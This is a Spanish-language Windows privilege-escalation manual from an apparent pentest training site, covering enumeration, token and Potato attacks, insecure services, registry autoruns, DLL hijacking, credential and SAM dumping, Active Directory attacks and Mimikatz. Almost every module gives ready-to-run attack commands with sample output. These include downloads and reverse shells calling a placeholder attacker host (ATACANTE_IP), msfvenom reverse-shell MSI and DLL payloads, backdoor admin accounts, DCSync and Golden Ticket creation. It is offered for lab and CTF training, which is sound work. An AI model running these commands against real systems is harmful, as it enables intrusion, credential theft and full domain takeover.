GhostAcademy
GhostAcademy
Windows Privilege Escalation
unfantasmaenelsistema.com
MANUAL COMPLETO
Windows Privilege Escalation

Guía técnica completa sobre técnicas de escalada de privilegios en sistemas Windows. Módulos con ejemplos reales usando CMD, PowerShell y herramientas especializadas para entornos de laboratorio y CTF.

⚠ DISCLAIMER LEGALEste manual es únicamente para fines educativos y entornos de laboratorio autorizados (CTF, pentesting con permiso explícito). El uso no autorizado de estas técnicas es ilegal. GhostAcademy promueve la seguridad ética.

¿Por qué es diferente en Windows?

Windows introduce mecanismos únicos como Tokens de acceso, UAC (User Account Control), el registro de Windows, servicios NT y Active Directory. La escalada de privilegios en Windows suele pasar por explotar mal-configuraciones en estos componentes.

🎟
Token Impersonation
Robar tokens de procesos con mayor privilegio para suplantar SYSTEM o administradores.
■■■ Crítico
⚙️
Servicios Inseguros
Servicios con permisos débiles en binario o configuración que permiten reemplazo.
■■□ Medio
🔗
DLL Hijacking
Inyectar DLL maliciosas en rutas que procesos privilegiados buscan primero.
■■□ Medio
🔐
Credenciales Expuestas
Contraseñas en archivos de configuración, registro, historial PowerShell o GPP.
■□□ Fácil
🏢
Active Directory
Kerberoasting, AS-REP Roasting, Pass-the-Hash, DCSync para dominar el dominio.
■■■ Crítico
🥔
Potato Attacks
JuicyPotato, PrintSpoofer, RoguePotato para escalar desde SeImpersonatePrivilege.
■■□ Medio

Metodología General

1
Enumeración del sistema
OS, parches, usuarios, grupos, servicios, tareas, registro, credenciales almacenadas, privilegios del token actual.
2
Usar herramientas automáticas
WinPEAS, PowerUp, Seatbelt y PrivescCheck aceleran el proceso y detectan la mayoría de vectores comunes.
3
Explotar el vector
Aplicar la técnica adecuada. En Windows muchas veces basta con reemplazar un binario, modificar un valor de registro o abusar de un token.
4
Obtener SYSTEM / Administrator
Elevar a NT AUTHORITY\SYSTEM o añadir un usuario al grupo Administrators. Desde ahí, volcado de hashes para persistencia.
MÓDULO 01
🔍 Enumeración del Sistema

Recopilar toda la información posible antes de atacar. CMD, PowerShell y herramientas automáticas.

Información del Sistema

CMD — System Info
:: Información completa del sistema
systeminfo
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19041 Build 19041
Hotfix(s): 5 Hotfix(s) Installed
:: Solo versión del OS
ver
wmic os get caption,version,buildnumber
:: Arquitectura
wmic os get osarchitecture

Usuarios y Grupos

CMD — Usuarios
:: Usuario actual y grupos
whoami
whoami /all
User Name: victim\lowpriv
Privileges: SeImpersonatePrivilege  ← muy valioso!
:: Usuarios locales
net user
wmic useraccount list brief
:: Grupos locales
net localgroup
net localgroup Administrators

Servicios y Procesos

CMD / PowerShell — Servicios
:: Servicios en ejecución
net start
sc query state= all
:: Servicios con info de ruta (binario)
wmic service get name,displayname,pathname,startmode
:: Procesos corriendo como SYSTEM
tasklist /v | findstr "NT AUTHORITY\SYSTEM"
:: PowerShell: servicios con ruta
Get-WmiObject -Class Win32_Service | Select-Object Name,PathName,StartMode | Format-List

Red y Conexiones

CMD — Red
:: Puertos en escucha
netstat -ano
:: Proceso asociado a puerto
netstat -ano | findstr :8080
tasklist /FI "PID eq 1234"
:: Interfaces de red
ipconfig /all

WinPEAS — Enumeración Automática

💡 TipWinPEAS es el equivalente a LinPEAS para Windows. Colorea automáticamente los vectores de mayor riesgo.
PowerShell — WinPEAS
# Descargar desde atacante
certutil -urlcache -f http://ATACANTE_IP:8080/winPEAS.exe C:\Temp\wp.exe
# O con PowerShell
Invoke-WebRequest -Uri http://ATACANTE_IP:8080/winPEAS.exe -OutFile C:\Temp\wp.exe
# Ejecutar y guardar output
C:\Temp\wp.exe > C:\Temp\output.txt 2>&1
# PowerUp (alternativa PS)
. .\PowerUp.ps1; Invoke-AllChecks
MÓDULO 02
🎟 Token Abuse

Windows usa tokens de acceso para identificar el contexto de seguridad de un proceso. Ciertos privilegios en el token permiten escalar a SYSTEM de forma directa.

Privilegios de Alto Valor

CMD — Ver privilegios del token
whoami /priv
Privilege Name                            State
SeImpersonatePrivilege                    Enabled   ← JACKPOT
SeAssignPrimaryTokenPrivilege             Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeDebugPrivilege                          Enabled   ← útil
PrivilegioAbusoHerramientaRiesgo
SeImpersonatePrivilegePotato attacks, Named PipesJuicyPotato / PrintSpooferCRÍTICO
SeAssignPrimaryTokenCrear proceso con token SYSTEMJuicyPotatoCRÍTICO
SeDebugPrivilegeInyección en procesos SYSTEMpsgetsys / meterpreterCRÍTICO
SeBackupPrivilegeLeer cualquier archivo (SAM)robocopy / manualALTO
SeRestorePrivilegeEscribir en cualquier archivomanualALTO
SeTakeOwnershipPrivilegeTomar propiedad de archivostakeown / icaclsALTO

SeDebugPrivilege → SYSTEM

Técnica: Inyección en proceso SYSTEM

Con SeDebugPrivilege podemos abrir cualquier proceso, incluyendo los que corren como SYSTEM (lsass, winlogon...) e inyectar shellcode o migrar nuestro agente.

PowerShell / Meterpreter
# En Meterpreter: buscar proceso SYSTEM y migrar
meterpreter > ps
PID   Name        Arch  Session  User
----  ----------  ----  -------  ----
552   winlogon    x64   1        NT AUTHORITY\SYSTEM
meterpreter > migrate 552
[*] Migrating to 552... success!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SeBackupPrivilege → SAM Dump

CMD — Copiar SAM con backup privilege
:: Copiar SAM y SYSTEM (normalmente bloqueados)
reg save hklm\sam C:\Temp\sam.hive
reg save hklm\system C:\Temp\system.hive
:: En atacante: extraer hashes con impacket
python3 secretsdump.py -sam sam.hive -system system.hive LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MÓDULO 03
🥔 Potato Attacks

La familia Potato explota SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege para escalar a SYSTEM. Muy común en servidores web, servicios SQL y cuentas de servicio.

PrintSpoofer (Windows 10 / Server 2019)

PrintSpoofer — La opción más fiable en sistemas modernos

Abusa del Named Pipe del Spooler de impresión para obtener un token SYSTEM. Funciona incluso donde JuicyPotato falla.

1
Verificar SeImpersonatePrivilege
CMD
whoami /priv | findstr "SeImpersonate"
SeImpersonatePrivilege  Impersonate...  Enabled  ✓
2
Ejecutar PrintSpoofer
CMD
:: Shell interactiva como SYSTEM
PrintSpoofer.exe -i -c cmd
C:\Windows\system32> whoami
NT AUTHORITY\SYSTEM
:: Reverse shell hacia atacante
PrintSpoofer.exe -c "nc.exe ATACANTE_IP 4444 -e cmd.exe"

JuicyPotato (Windows Server 2016 y anteriores)

CMD — JuicyPotato
:: Crear usuario administrador
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user ghost P@ssw0rd123 /add" -t *
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators ghost /add" -t *
:: Reverse shell
JuicyPotato.exe -l 1337 -p nc.exe -a "ATACANTE_IP 4444 -e cmd.exe" -t * -c "{CLSID}"
:: Lista de CLSIDs: https://github.com/ohpe/juicy-potato/tree/master/CLSID

RoguePotato (Server 2019+)

CMD — RoguePotato
:: En atacante: socat relay
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 &
:: En víctima
RoguePotato.exe -r ATACANTE_IP -e "nc.exe ATACANTE_IP 4444 -e cmd.exe" -l 9999
NT AUTHORITY\SYSTEM

GodPotato (2023 — Universal)

💡 RecomendadoGodPotato funciona en Windows Server 2012 — 2022 y Windows 10/11. La herramienta más moderna de la familia Potato.
CMD — GodPotato
GodPotato.exe -cmd "cmd /c whoami"
nt authority\system
GodPotato.exe -cmd "nc.exe ATACANTE_IP 4444 -e cmd.exe"
MÓDULO 04
⚙️ Servicios Inseguros

Servicios de Windows que corren como SYSTEM pero cuyo binario o configuración puede ser modificado por usuarios con pocos privilegios.

Tipos de Vulnerabilidades en Servicios

1. Permisos Inseguros en el Binario

CMD — Verificar permisos
:: Ver ruta del binario del servicio
wmic service get name,pathname | findstr "VulnSvc"
VulnSvc  C:\Program Files\VulnApp\svc.exe
:: Comprobar permisos (buscar W o F para Everyone/Users)
icacls "C:\Program Files\VulnApp\svc.exe"
C:\Program Files\VulnApp\svc.exe Everyone:(F)  ← FULL CONTROL!
:: PowerUp: detectar automáticamente
Get-ModifiableServiceFile
1
Reemplazar el binario del servicio
CMD
:: Backup del original
copy "C:\Program Files\VulnApp\svc.exe" C:\Temp\svc_backup.exe
:: Reemplazar con payload (añadir usuario admin)
copy /Y C:\Temp\malicious.exe "C:\Program Files\VulnApp\svc.exe"
:: Reiniciar el servicio
sc stop VulnSvc && sc start VulnSvc
El servicio ejecuta el binario como SYSTEM → usuario creado

2. Unquoted Service Path

Unquoted Service Path

Si la ruta del binario contiene espacios y no está entre comillas, Windows busca el ejecutable en cada segmento de la ruta.

CMD — Detectar y explotar
:: Buscar servicios con rutas sin comillas y espacios
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '\"'
VulnService  C:\Program Files\Some Folder\service.exe  Auto

:: Windows buscará en este orden:
C:\Program.exe             ← podemos crear esto!
C:\Program Files\Some.exe  ← o esto!
C:\Program Files\Some Folder\service.exe

:: Crear el ejecutable malicioso en la ruta explotable
icacls "C:\Program Files" | findstr "Users"
Users:(W)  ← tenemos escritura
copy C:\Temp\malicious.exe "C:\Program Files\Some.exe"
sc stop VulnService && sc start VulnService

3. Permisos Inseguros del Servicio (sc)

CMD — Modificar config del servicio
:: Verificar permisos del servicio con accesschk
accesschk.exe -ucqv VulnSvc
RW BUILTIN\Users → SERVICE_ALL_ACCESS

:: Cambiar el binario que ejecuta el servicio
sc config VulnSvc binpath= "C:\Temp\nc.exe ATACANTE_IP 4444 -e cmd.exe"
sc stop VulnSvc && sc start VulnSvc
NT AUTHORITY\SYSTEM
MÓDULO 05
📋 Registry y Autorun

El registro de Windows contiene rutas de ejecución automática que pueden ser modificadas si los permisos son inseguros.

Claves de Autorun con Escritura

CMD — Enumerar Autorun
:: Claves de autorun más comunes
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
:: Comprobar permisos de clave
accesschk.exe -kvuqsw hklm\software\microsoft\windows\currentversion\run
RW BUILTIN\Users  ← podemos escribir!
CMD — Explotar Autorun
:: Agregar entrada maliciosa
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "C:\Temp\nc.exe ATACANTE_IP 4444 -e cmd.exe"
:: Esperar a que un admin inicie sesión o reiniciar
:: PowerUp: detecta automáticamente
Get-RegistryAlwaysInstallElevated
Get-ModifiableRegistryAutoRun

AlwaysInstallElevated

AlwaysInstallElevated — MSI como SYSTEM

Si esta clave está habilitada en HKLM y HKCU, cualquier usuario puede instalar paquetes MSI con privilegios SYSTEM.

CMD — Detectar y explotar
:: Verificar ambas claves (deben ser 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated  REG_DWORD  0x1  ← vulnerable!

:: Crear MSI malicioso con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f msi -o malicious.msi
:: Instalar en la víctima
msiexec /quiet /qn /i C:\Temp\malicious.msi
NT AUTHORITY\SYSTEM
MÓDULO 06
⏰ Tareas Programadas

Tareas ejecutadas por SYSTEM o Administrators cuyos scripts o binarios tienen permisos de escritura para usuarios estándar.

Enumerar Tareas Programadas

CMD / PowerShell
:: Listar todas las tareas
schtasks /query /fo LIST /v
:: PowerShell: más legible
Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq "Highest"} | Select-Object TaskName,TaskPath
:: Ver detalles de tarea específica
schtasks /query /tn "\Microsoft\Windows\UpdateTask" /fo LIST /v
Task To Run:    C:\Scripts\update.bat
Run As User:    SYSTEM
Schedule:       Every 5 minutes

Explotar Script con Permisos de Escritura

CMD — Detectar y explotar
:: Comprobar permisos del script
icacls C:\Scripts\update.bat
C:\Scripts\update.bat  BUILTIN\Users:(W)  ← escribible!

:: Inyectar payload en el script (añadir usuario admin)
echo net user ghost P@ssw0rd123 /add >> C:\Scripts\update.bat
echo net localgroup Administrators ghost /add >> C:\Scripts\update.bat
:: Esperar al siguiente ciclo de la tarea...
net user ghost
User name: ghost  → acceso admin obtenido
MÓDULO 07
🔗 DLL Hijacking

Windows busca DLLs en un orden específico. Si un directorio en esa ruta tiene escritura, podemos colocar una DLL maliciosa que el proceso privilegiado cargará.

Orden de Búsqueda de DLLs

ℹ Orden de búsqueda DLL1. Directorio de la aplicación → 2. C:\Windows\System32 → 3. C:\Windows\System → 4. C:\Windows → 5. Directorios en %PATH%

Detectar DLLs No Encontradas

CMD — Procmon / ProcExplorer
:: Usar Process Monitor (Sysinternals) filtrando:
Operation: CreateFile
Path ends with: .dll
Result: NAME NOT FOUND  ← DLL que no encuentra!

:: Ver DLLs cargadas por un proceso
tasklist /m /fi "IMAGENAME eq target.exe"
:: PowerShell: DLLs de proceso
Get-Process -Name target | Select-Object -ExpandProperty Modules | Select-Object ModuleName,FileName
1
Crear DLL maliciosa con msfvenom
Bash (atacante)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f dll -o missing.dll
2
Colocar en el directorio vulnerable
CMD
:: Comprobar que podemos escribir en el directorio
icacls "C:\Program Files\VulnApp\"
BUILTIN\Users:(W)  ← escribible!
copy C:\Temp\missing.dll "C:\Program Files\VulnApp\missing.dll"
3
Esperar a que el proceso cargue la DLL
CMD
:: Reiniciar el servicio si es posible
sc stop VulnSvc && sc start VulnSvc
:: O esperar al reboot si no tenemos permisos
Conexión recibida en atacante: NT AUTHORITY\SYSTEM
MÓDULO 08
🔐 Credenciales Expuestas

Windows almacena credenciales en múltiples lugares: registro, ficheros de configuración, historial de PowerShell, GPP, credenciales guardadas y más.

Búsqueda en el Registro

CMD — Buscar contraseñas en el registro
:: Buscar "password" en todo el registro
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
:: Autologin credentials (muy común en kioscos)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName  REG_SZ  Administrator
DefaultPassword  REG_SZ  P@ssword1  ← JACKPOT!

Archivos de Configuración

CMD — Buscar credenciales en archivos
:: Buscar "password" en archivos de configuración
findstr /si password *.txt *.xml *.ini *.config
dir /s /b *pass* *cred* *vnc* *.config
:: Archivos de configuración IIS
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
findstr /si "connectionString" C:\inetpub\wwwroot\*.config
:: Historial PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

GPP — Group Policy Preferences (MS14-025)

MS14-025 — GPP Password Vulnerability

Las antiguas GPP de Active Directory almacenaban contraseñas cifradas en SYSVOL con una clave AES pública conocida. Microsoft la publicó en MSDN.

PowerShell / CMD
:: Buscar archivos GPP en SYSVOL
findstr /S /I cpassword \\DC\SYSVOL\*.xml
<Properties ... cpassword="edBSHOwhZLTjt/QS9FeIcJ..." .../>
:: Descifrar con gpp-decrypt (kali)
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ..."
P@$$w0rd
:: Con PowerSploit: automático
Get-GPPPassword

Windows Credential Manager

CMD
:: Listar credenciales guardadas
cmdkey /list
Target: Domain:interactive=DOMAIN\Admin
Type: Domain Password
User: DOMAIN\Admin
:: Usar la credencial guardada sin conocer la contraseña
runas /savecred /user:DOMAIN\Admin cmd.exe
MÓDULO 09
🗄️ SAM / NTLM Dump

Una vez como administrador local, volcar los hashes NTLM de la SAM permite Pass-the-Hash, cracking offline y movimiento lateral.

Volcar SAM con reg save

CMD — Como Administrador
:: Guardar hives necesarios
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system
reg save hklm\security C:\Temp\security
:: Exfiltrar y extraer en Kali con impacket
impacket-secretsdump -sam sam -system system -security security LOCAL
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lowpriv:1001:aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Volume Shadow Copy (VSS)

CMD — Extraer SAM via VSS
:: Crear shadow copy
wmic shadowcopy call create Volume='C:\'
:: Listar shadow copies
vssadmin list shadows
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
:: Copiar SAM desde la shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system

Pass-the-Hash con impacket

Bash — Atacante (Kali)
# Pass-the-Hash con impacket
impacket-psexec Administrator@TARGET_IP -hashes aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
C:\Windows\system32> whoami
nt authority\system
# wmiexec (más silencioso)
impacket-wmiexec Administrator@TARGET_IP -hashes :NTLM_HASH
# Crackear offline con Hashcat
hashcat -m 1000 hashes.txt rockyou.txt --force
MÓDULO 10
🏢 Active Directory PrivEsc

Técnicas para escalar privilegios en entornos de dominio Active Directory: Kerberoasting, AS-REP Roasting, ACL Abuse y DCSync.

Kerberoasting

Kerberoasting — Crackear hashes de cuentas de servicio

Cualquier usuario del dominio puede solicitar TGS tickets para cuentas con SPN. Los tickets se pueden crackear offline para obtener contraseñas en texto claro.

PowerShell — Kerberoasting
# Con Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$MSSQLSvc/sqlserver.domain.local...
# Con impacket desde Kali
impacket-GetUserSPNs DOMAIN.LOCAL/lowpriv:Password123 -dc-ip DC_IP -request
# Crackear con Hashcat (modo 13100)
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

PowerShell — AS-REP Roasting
# Con Rubeus: usuarios sin preautenticación Kerberos
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Con impacket (sin credenciales si hay cuentas vulnerables)
impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -dc-ip DC_IP -format hashcat
$krb5asrep$23$user@DOMAIN.LOCAL:...
# Crackear con Hashcat (modo 18200)
hashcat -m 18200 asrep_hashes.txt rockyou.txt

DCSync Attack

⚠ Impacto máximoDCSync simula la replicación de un Domain Controller y extrae todos los hashes del dominio, incluyendo KRBTGT para crear Golden Tickets.
PowerShell / Bash
# Con Mimikatz (necesita DA o Replication rights)
lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
# Con impacket desde Kali
impacket-secretsdump DOMAIN.LOCAL/DomainAdmin:Password@DC_IP -just-dc-user Administrator
# Volcar TODOS los hashes del dominio
impacket-secretsdump DOMAIN.LOCAL/DomainAdmin:Password@DC_IP -just-dc-ntlm

ACL Abuse — GenericAll

PowerShell — BloodHound + PowerView
# Enumerar con BloodHound
.\SharpHound.exe -c All --outputdirectory C:\Temp
# Si tenemos GenericAll sobre un usuario: resetear contraseña
$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $SecPassword
# Si tenemos GenericAll sobre un grupo: añadirnos
Add-DomainGroupMember -Identity "Domain Admins" -Members "lowpriv"
MÓDULO 11
👻 Mimikatz

La herramienta más poderosa para extracción de credenciales en Windows. Permite obtener contraseñas en texto claro, hashes NTLM, tickets Kerberos y mucho más.

⚠ RequisitoLa mayoría de módulos de Mimikatz requieren privilegios de SeDebugPrivilege o SYSTEM. Asegúrate de ejecutarlo con los permisos adecuados.

Comandos Esenciales

Mimikatz — Comandos básicos
:: Ejecutar con privilegios elevados
mimikatz.exe
privilege::debug
Privilege '20' OK

:: Elevar a SYSTEM
token::elevate
Token Id  : 0
User name : NT AUTHORITY\SYSTEM

:: Contraseñas en texto claro de LSASS (Win 7/2008)
sekurlsa::logonpasswords
Username : Administrator
Password : P@ssw0rd1  ← texto claro!

:: Solo hashes NTLM
sekurlsa::msv
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

Pass-the-Ticket (PTT)

Mimikatz — Kerberos
:: Exportar tickets Kerberos actuales
sekurlsa::tickets /export
[*] [00000000] - 0x00000012 - aes256_hmac
ServiceName : krbtgt
TargetName  : krbtgt
[...] → escribido en disco como .kirbi

:: Importar ticket de otro usuario
kerberos::ptt [0;28996b]-2-0-60a10000-Admin@krbtgt-DOMAIN.LOCAL.kirbi
* File: '...kirbi': OK
:: Verificar acceso
dir \\DC\C$

Golden Ticket

Mimikatz — Golden Ticket
:: Necesitamos: hash NTLM de KRBTGT + SID del dominio
lsadump::lsa /patch
krbtgt:  1b326a7e08a6893a8bb699bd0c1b4ea0

kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXXX /krbtgt:1b326a7e08a6893a8bb699bd0c1b4ea0 /ticket:golden.kirbi
Golden ticket for 'Administrator @ DOMAIN.LOCAL' created!
kerberos::ptt golden.kirbi
Acceso total al dominio por 10 años
RECURSOS
🛠 Herramientas Esenciales

El arsenal completo para Windows Privilege Escalation y Active Directory attacks.

Enumeración y PrivEsc Local

HerramientaFunciónTipo
WinPEASEnumeración automática completa del sistema WindowsEnumeración
PowerUpDetectar misconfigs de servicios, registro y másEnumeración
SeatbeltRecopilación de datos de seguridad del sistemaEnumeración
PrivescCheckScript PowerShell de auditoría de privilegiosEnumeración
accesschk.exeVerificar permisos de servicios, archivos y registroPermisos
ProcessMonitorMonitorizar llamadas a DLLs no encontradasDLL Hijack

Tokens y Potato

HerramientaFunciónCompatibilidad
PrintSpooferSeImpersonate → SYSTEM via Spooler pipeWin10 / S2019
JuicyPotatoSeImpersonate → SYSTEM via CLSID COMhasta S2016
GodPotatoSeImpersonate → SYSTEM universalWin10-11/S2012-22
RoguePotatoSeImpersonate → SYSTEM sin puertos restringidosS2019+

Active Directory

HerramientaFunciónTipo
MimikatzDump de credenciales, PTT, Golden Ticket, DCSyncCredenciales
RubeusKerberoasting, AS-REP, PTT, S4UKerberos
BloodHoundMapear rutas de ataque en AD visualmenteAD Enum
PowerViewEnumeración avanzada de AD con PowerShellAD Enum
impacketSuite de herramientas Python para SMB, Kerberos, DCSyncMulti-uso
CrackMapExecAuditoría masiva de redes Windows/ADLateral
RECURSOS
✅ Checklist Windows PrivEsc

Lista de verificación completa. Márcalos conforme los vayas comprobando durante un pentest.

Sistema y OS

  • Revisar versión de Windows y parches instalados (systeminfo)
  • Buscar exploits de kernel conocidos (EternalBlue, PrintNightmare...)
  • Ejecutar WinPEAS para enumeración automática
  • Comprobar arquitectura (x86 vs x64)

Token y Privilegios

  • Revisar whoami /priv (SeImpersonate, SeDebug, SeBackup...)
  • Si SeImpersonatePrivilege → intentar Potato attacks
  • Si SeDebugPrivilege → migrar a proceso SYSTEM
  • Comprobar grupo del usuario (Administrators, Backup Operators...)

Servicios

  • Buscar servicios con rutas sin comillas (Unquoted Service Path)
  • Verificar permisos de binarios de servicios (icacls)
  • Comprobar permisos de modificación del servicio (accesschk)
  • Ejecutar PowerUp: Get-ModifiableServiceFile

Registro y Autorun

  • Verificar AlwaysInstallElevated en HKLM y HKCU
  • Comprobar permisos de claves autorun
  • Buscar contraseñas en el registro (reg query /f password)
  • Revisar Winlogon autologin credentials

Credenciales

  • Revisar historial de PowerShell (ConsoleHost_history.txt)
  • Buscar en archivos de configuración (*.config, *.xml, *.ini)
  • Comprobar credenciales guardadas (cmdkey /list)
  • Buscar GPP passwords en SYSVOL
  • Revisar unattend.xml y sysprep.xml

DLL y Tareas

  • Usar Process Monitor para detectar DLLs no encontradas
  • Comprobar directorios de aplicaciones con escritura
  • Enumerar tareas programadas (schtasks /query /v)
  • Verificar permisos de scripts ejecutados por tareas

Active Directory

  • Enumerar con BloodHound (SharpHound)
  • Buscar cuentas Kerberoasteables (SPNs)
  • Buscar cuentas sin preautenticación (AS-REP)
  • Revisar ACLs sobre objetos de AD (GenericAll, WriteDACL...)
  • Comprobar si tenemos derechos de DCSync / replicación